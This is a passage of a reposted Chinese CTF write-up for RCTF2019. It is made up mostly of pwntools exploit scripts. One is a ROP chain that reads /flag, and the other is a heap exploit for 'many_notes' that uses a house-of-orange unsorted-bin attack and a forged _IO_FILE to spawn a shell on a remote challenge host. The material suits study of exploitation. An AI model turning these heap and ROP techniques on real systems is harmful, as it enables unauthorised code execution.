edit(5,p64(heap_addr - 0x0000555555757000+0x00005555557571b0)*0x100)
payload = 'x00'*3 + p64(heap_addr - 0x0000555555757000+0x00005555557571b0)
edit(13,payload)
#下面开始任意地址读写
ret_addr = stack_addr - 0x7ffffffde000 + 0x00007fffffffed48 #这里放堆地址
edit(15,p64(ret_addr)+p64(0x200)) #设置0 为栈地址,用edit编辑
pop_rsp_ret = libc.address + 0x0000000000003838
payload = p64(pop_rsp_ret) + p64(ret_addr+0x10)
#通过任意地址写在栈上构造读取flag的rop
buf_addr = elf_addr - 0x555555554000 + 0x00005555557561C8
p = ''
# fd = open('flag', 0)
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr) # @ .data
p += p64(0x0000000000033544+libc.address) # pop rax ; ret
p += '/flag'.ljust(8,'x00')
p += p64(0x000000000007783a+libc.address) # mov qword ptr [rsi], rax ; ret
p += p64(0x0000000000021102+libc.address) # pop rdi ; ret
p += p64(buf_addr) # @ .data
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(0) # rsi = 0
p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret
p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret
p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret
p += p64(0x00000000000bc375+libc.address) # syscall ; ret
# read(fd, buf_addr+8, 0x100)
# p += p64(0x000000000044fd9f) # xchg eax, ebp ; ret
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr+0x30) # @ .data + fd
p += p64(0x000000000007783a+libc.address) # mov qword ptr [rsi], rax ; ret
p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret
p += p64(buf_addr+0x30) # @ .data + fd
p += p64(0x00000000001840e6+libc.address) # mov edi, dword ptr [rdx] ; ret
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr+8) # @ .data + 8
p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret
p += p64(0x100) # 0x100
p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret
p += p64(0x00000000000bc375+libc.address) # syscall ; ret
# write(1, buf_addr+8, 0x100)
p += p64(0x0000000000021102+libc.address) # pop rdi ; ret
p += p64(1) # stdout
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr+8) # @ .data + 8
p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret
p += p64(0x100) # 0x100
p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret
p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret
p += p64(0x00000000000bc375+libc.address) # syscall ; ret
payload += p
# gdb.attach(r,"b *0x00005555555551E7")
edit(0,payload)
r.interactive()
many_notes
分析
- 输入username长度为8是可以泄露libc地址
- 在read函数中,输入content的时候,循环中的size大小不变,有堆溢出漏洞
- 线程thread_arena分配的堆块原理与main_arena大致一样
- 通过不停分配堆块,类似于house of orange,最后top chunk不够分配的内存会被free掉进入unsortbin
- 从unsortbin中new一个新的堆块,并通过堆溢出漏洞修改unsortbin,利用house of orange方法getshell
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#version 6 by tempo
from pwn import *
from time import sleep
import base64
context(os='linux', arch='amd64')
context.log_level = 'debug'
IS_DEBUG = 0
prog = './many_notes'
def change_ld(binary,ld):
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, ''))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------
success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
#example
elf = change_ld('./many_notes', './ld-linux-x86-64.so.2')
if IS_DEBUG:
r = elf.process(env={'LD_PRELOAD':'./libc.so.6:./ld-linux-x86-64.so.2:./libpthread.so.0'})
libc =r.libc
# r = process(prog, env={'LD_PRELOAD':'../libc/libc-2.28.so'})
else:
r = remote('123.206.174.203', 20003)
# r = process('./{}'.format(prog))
libc = ELF('./libc.so.6')
def my_u64(byte_arr):
padding = b'x00' * (8-len(byte_arr))
res = byte_arr + padding
return struct.unpack('<Q', res)[0]
def round(size,padding,input,content):
r.sendlineafter("Choice","0")
r.sendlineafter("Size",str(size))
r.sendlineafter("Padding",str(padding))
r.sendlineafter("Input?",str(input))
if input != 0:
r.sendafter("Content",str(content))
r.sendafter("name","a"*8) #可用于泄露程序地址,libc地址,栈地址 0x00007fffffffecc0
r.recvuntil("a"*8)
libc.address = u64(r.recv(6).ljust(8,'x00')) -0x7ffff7bb5720+ 0x00007ffff780a000
success(hex(libc.address))
for i in range(0x2fe):
round(0x2000,0x1f, 0,'a'*0x2000)
round(0x2000,0xe, 0, 'a'*0x2000)
# consume freed chunk at the tail of heap_0
round(0x300, 0, 0, '')
#剩下0x1e0大小的unsortbin,将以下payload溢出覆盖正常的unsortbin
#模板:
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search("/bin/sh"))
io_list_all = libc.sym['_IO_list_all'] #&_IO_list_all
io_str_jump = libc.sym['_IO_file_jumps']+0xc0 #&_IO_str_jumps
payload = 'b'*0x10
#需要将(_IO_list_all或_IO_2_1_stderr+0x68_或_IO_2_1_stdout_+0x68或_IO_2_1_stdin_+0x68)的值修改为伪造表的地址或者一个0x68处指向伪造表的指针(如unsortbin攻击),比如将*_IO_list_all修改为a,a的0x68处指针为b,b就是以下payload,为伪造的io_file_plus表
payload += p64(0) + p64(0x61) + p64(0) +p64(io_list_all-0x10) +p64(0)+p64(1)+p64(0)
payload += p64(bin_sh_addr) + p64(0)*19 +p64(io_str_jump-8)
payload += p64(0) + p64(system_addr)#system调用时会将IO_buf_base设为参数,实现shell
#这里的io_list_all-0x10主要是为了利用unsortbin attack,修改_IO_list_all的值为main_arena+0x58,在有任意地址写的能力时,就不需要这么麻烦了。
#payload长度0x100
round(0x100,0, 1, 'a'*0xf0) #剩余0x10
r.send(payload)
r.sendlineafter("Choice","0")
r.sendlineafter("Size",str(0x10))
r.interactive()
以上所述就是小编给大家介绍的《Gr3yW0lf RCTF2019 Writeup》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Book of CSS3
Peter Gasston / No Starch Press / 2011-5-13 / USD 34.95
CSS3 is the technology behind most of the eye-catching visuals on the Web today, but the official documentation can be dry and hard to follow. Luckily, The Book of CSS3 distills the heady technical la......一起来看看 《The Book of CSS3》 这本书的介绍吧!